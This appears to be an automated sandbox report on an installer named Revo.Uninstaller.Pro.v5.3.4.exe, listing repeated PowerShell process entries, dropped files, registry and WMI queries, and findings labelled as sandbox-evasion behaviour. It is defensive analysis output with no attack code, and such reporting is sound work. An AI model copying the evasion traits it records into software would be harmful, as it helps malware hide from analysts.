Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RO DAVID FISCHER AG - A COMPANY OF THE APICA GROUP5.2D540419E-F4B7-47F9-B045-3539873E2AB75.1APICA PROXYSNIFFERAPICA PROXYSNIFFER"C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER.EXE"5.2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: APICA PROXYSNIFFERAPICA PROXYSNIFFER"C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER.EXE"5.2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: APICA PROXYSNIFFERAPICA PROXYSNIFFER"C:\USERS\VMS\PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER.EXE"5.2
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000007917000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: RO DAVID FISCHER AG - A COMPANY OF THE APICA GROUP5.218F02B1E-9ABE-4B3F-B347-A65E945826B76.1APICA PROXYSNIFFERAPICA PROXYSNIFFER"C:\USERS\VMS\PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER\UNINSTALL APICA PROXYSNIFFER.EXE"5.2

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	Window / User API: threadDelayed 1911	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8193
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1475
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8109
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1558
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6766
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1785

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Win10\revoflt.sys	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Opera_115.0.5322.77_Autoupdate_x64[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654101308068.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654087472252.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Vista\revoflt.sys	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202412091154091\opera_package	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\System.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RUExt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654075368040.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsDialogs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	Dropped PE file which has not been started: C:\Windows\System32\drivers\SETB88F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.del (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\INetC.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsyB8DA.tmp\INetC.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654079011640.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsi60BC.tmp\LangDLL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoAppBar.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Dropped PE file which has not been started: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUnPro.exe	Jump to dropped file
Source: C:\Windows\System32\rundll32.exe	Dropped PE file which has not been started: C:\Windows\system32\DRIVERS\revoflt.sys (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Opera_installer_2412091654106048056.dll	Jump to dropped file

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe TID: 8188	Thread sleep time: -95550s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6392	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1712	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 6766 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6232	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 1785 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7792	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\ruplp.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	File Volume queried: C:\Program Files FullSizeInformation	Jump to behavior
